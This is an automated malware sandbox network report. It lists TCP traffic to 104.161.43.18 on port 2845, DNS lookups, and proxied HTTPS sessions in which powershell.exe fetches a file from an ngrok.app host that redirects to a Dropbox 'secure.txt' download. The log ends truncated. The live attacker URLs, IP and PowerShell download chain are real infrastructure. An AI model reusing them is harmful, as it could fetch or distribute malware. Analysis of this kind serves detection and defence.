Dec 17, 2024 12:13:42.400825024 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.400957108 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.401005030 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.401949883 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.402046919 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.402105093 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.403033972 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.403147936 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.403191090 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.404165983 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.404277086 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.404319048 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.405335903 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.405348063 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.405400038 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.406445980 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.406521082 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.406559944 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.407668114 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.407707930 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.407744884 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.408710003 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.408879995 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.408921003 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.409936905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.409948111 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.409992933 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.410974026 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.411082029 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.411123991 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.412131071 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.412246943 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.412292957 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.413230896 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.413270950 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.413309097 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.414360046 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.414495945 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.414532900 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.415484905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.415596008 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.415638924 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.416630983 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.416769028 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.416805983 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.417824984 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.417994976 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.418030024 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.419038057 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.419110060 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.419145107 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.420028925 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.420130968 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.420175076 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.421129942 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.461649895 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.553576946 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.553591013 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.553678036 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.553812027 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.554061890 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.554117918 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.554946899 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.555018902 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.555073977 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.556057930 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.556113005 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.556159019 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.557248116 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.557383060 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.557435989 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.558417082 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.558536053 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.558578968 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.559484005 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.559591055 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.559680939 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.560693026 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.560913086 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.560965061 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.561832905 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.561968088 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.562020063 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.562936068 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.562958956 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.563004971 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.564035892 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.564186096 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.564239979 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.565450907 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.565495968 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.565548897 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.566520929 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.566679955 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.566729069 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.567440033 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.567523956 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.567579031 CET	49976	2845	192.168.2.5	104.161.43.18
Dec 17, 2024 12:13:42.568536043 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.568604946 CET	2845	49976	104.161.43.18	192.168.2.5
Dec 17, 2024 12:13:42.568660975 CET	49976	2845	192.168.2.5	104.161.43.18

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 12:12:01.223335981 CET	192.168.2.5	1.1.1.1	0x790d	Standard query (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:05.308932066 CET	192.168.2.5	1.1.1.1	0x1621	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:08.467226982 CET	192.168.2.5	1.1.1.1	0x424f	Standard query (0)	uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:20.694333076 CET	192.168.2.5	1.1.1.1	0x988e	Standard query (0)	ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:21.809750080 CET	192.168.2.5	1.1.1.1	0x659	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:21.809750080 CET	192.168.2.5	1.1.1.1	0x4dbd	Standard query (0)	www.dropbox.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:24.042119026 CET	192.168.2.5	1.1.1.1	0x2bf0	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.046525955 CET	192.168.2.5	1.1.1.1	0xe57e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 17, 2024 12:12:24.583931923 CET	192.168.2.5	1.1.1.1	0x6c4	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.584096909 CET	192.168.2.5	1.1.1.1	0xf2ec	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:24.972976923 CET	192.168.2.5	1.1.1.1	0x30ac	Standard query (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.992381096 CET	192.168.2.5	1.1.1.1	0x8f14	Standard query (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.992655039 CET	192.168.2.5	1.1.1.1	0xb55f	Standard query (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:25.564783096 CET	192.168.2.5	1.1.1.1	0x290c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.565109015 CET	192.168.2.5	1.1.1.1	0xb82d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:25.566020012 CET	192.168.2.5	1.1.1.1	0xca04	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.566363096 CET	192.168.2.5	1.1.1.1	0xcfbd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:25.662395954 CET	192.168.2.5	1.1.1.1	0xcbe7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.662569046 CET	192.168.2.5	1.1.1.1	0x5670	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 17, 2024 12:12:26.353564978 CET	192.168.2.5	1.1.1.1	0xb640	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:29.140839100 CET	192.168.2.5	1.1.1.1	0xd530	Standard query (0)	uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:36.895248890 CET	192.168.2.5	1.1.1.1	0x522a	Standard query (0)	uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.287611008 CET	192.168.2.5	1.1.1.1	0xf4e5	Standard query (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.209.94	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.192.31.165	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.158.249.75	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.223.134	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.124.142.205	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:01.689330101 CET	1.1.1.1	192.168.2.5	0x790d	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.102.39	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:05.545865059 CET	1.1.1.1	192.168.2.5	0x1621	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:05.545865059 CET	1.1.1.1	192.168.2.5	0x1621	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:08.762394905 CET	1.1.1.1	192.168.2.5	0x424f	No error (0)	uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:08.762394905 CET	1.1.1.1	192.168.2.5	0x424f	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:21.015127897 CET	1.1.1.1	192.168.2.5	0x988e	No error (0)	ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:21.015127897 CET	1.1.1.1	192.168.2.5	0x988e	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:21.947675943 CET	1.1.1.1	192.168.2.5	0x659	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:21.947675943 CET	1.1.1.1	192.168.2.5	0x659	No error (0)	www-env.dropbox-dns.com		162.125.65.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:22.086312056 CET	1.1.1.1	192.168.2.5	0x4dbd	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:22.499325037 CET	1.1.1.1	192.168.2.5	0xe2f8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:22.500232935 CET	1.1.1.1	192.168.2.5	0x5541	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:22.500232935 CET	1.1.1.1	192.168.2.5	0x5541	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.179624081 CET	1.1.1.1	192.168.2.5	0x2bf0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:24.183943033 CET	1.1.1.1	192.168.2.5	0xe57e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:24.723160982 CET	1.1.1.1	192.168.2.5	0x6c4	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:24.723160982 CET	1.1.1.1	192.168.2.5	0x6c4	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:24.829416037 CET	1.1.1.1	192.168.2.5	0xf2ec	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:25.238265038 CET	1.1.1.1	192.168.2.5	0xb55f	No error (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:25.242464066 CET	1.1.1.1	192.168.2.5	0x30ac	No error (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:25.242464066 CET	1.1.1.1	192.168.2.5	0x30ac	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.247425079 CET	1.1.1.1	192.168.2.5	0x8f14	No error (0)	uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:25.247425079 CET	1.1.1.1	192.168.2.5	0x8f14	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.702815056 CET	1.1.1.1	192.168.2.5	0x290c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.702815056 CET	1.1.1.1	192.168.2.5	0x290c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.703102112 CET	1.1.1.1	192.168.2.5	0xb82d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:12:25.703540087 CET	1.1.1.1	192.168.2.5	0xca04	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.703540087 CET	1.1.1.1	192.168.2.5	0xca04	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.704078913 CET	1.1.1.1	192.168.2.5	0xcfbd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:12:25.800267935 CET	1.1.1.1	192.168.2.5	0x5670	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 17, 2024 12:12:25.800467014 CET	1.1.1.1	192.168.2.5	0xcbe7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:25.800467014 CET	1.1.1.1	192.168.2.5	0xcbe7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:26.590198040 CET	1.1.1.1	192.168.2.5	0xb640	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:26.590198040 CET	1.1.1.1	192.168.2.5	0xb640	No error (0)	www-env.dropbox-dns.com		162.125.67.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:29.413665056 CET	1.1.1.1	192.168.2.5	0xd530	No error (0)	uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:29.413665056 CET	1.1.1.1	192.168.2.5	0xd530	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:12:37.196724892 CET	1.1.1.1	192.168.2.5	0x522a	No error (0)	uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:12:37.196724892 CET	1.1.1.1	192.168.2.5	0x522a	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.102.39	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.192.31.165	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.223.134	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		18.158.249.75	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.124.142.205	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:18.425395012 CET	1.1.1.1	192.168.2.5	0xf4e5	No error (0)	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app		3.125.209.94	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.554816961 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:24.554816961 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:25.567106009 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:25.567106009 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:26.688180923 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:26.688180923 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:28.817328930 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:28.817328930 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:32.599694014 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:13:32.599694014 CET	1.1.1.1	192.168.2.5	0x3106	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	3.125.209.94	443	3480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:03 UTC	230	OUT	GET /api/secure/6dc5ab464f5bc22bbff3934d61830606 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app Connection: Keep-Alive
2024-12-17 11:12:05 UTC	321	IN	HTTP/1.1 302 Found Access-Control-Allow-Origin: * Content-Length: 395 Content-Type: text/html; charset=utf-8 Date: Tue, 17 Dec 2024 11:12:05 GMT Location: https://www.dropbox.com/scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&dl=1 Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-17 11:12:05 UTC	395	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 36 64 72 6f 6d 74 31 31 64 61 73 67 70 62 61 71 69 69 6e 64 65 2f 73 65 63 75 72 65 2e 74 78 74 3f 72 6c 6b 65 79 3d 77 35 71 65 37 75 6c 31 37 78 6d 71 6b 37 62 33 72 34 39 35 33 6b 36 6b 79 26 61 6d 70 3b Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://www.dropbox.com/scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	162.125.69.18	443	3480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:12:06 UTC	236	OUT	GET /scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-17 11:12:08 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; connect-src https [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: 